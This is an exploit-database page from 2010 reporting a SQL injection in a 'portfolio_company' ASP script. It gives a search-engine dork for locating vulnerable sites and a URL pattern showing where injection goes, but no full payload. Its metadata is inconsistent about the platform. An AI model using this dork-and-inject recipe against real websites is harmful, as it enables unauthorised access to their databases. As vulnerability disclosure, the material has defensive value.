[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

portfolio_company script asp SQL Injection Vulnerability

Author
zee eichel
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-12978
Category
web applications
Date add
26-06-2010
Platform
php
========================================================
portfolio_company script asp SQL Injection Vulnerability
========================================================


# Author: zee eichel
# Home: tecon-crew[dot]org
# Version: ASP.NET
# Tested on: Linux Ubuntu 10.4
# Code : portfolio_company.asp?ID=[id number][sqli]
-----------------------------------------------------------------------------
1. find the vurln site :

#dork : inurl:"portfolio_company.asp?id="

2. simple inject

exmp :
http://server/[path]/portfolio_company.asp?ID=[id number][sqli]

=======================================
contact me at
zee_eichel [at] ymail [dot] com
=======================================
thx to all tecon-crew and inj3ct0r.com



#  0day.today [2024-07-05]  #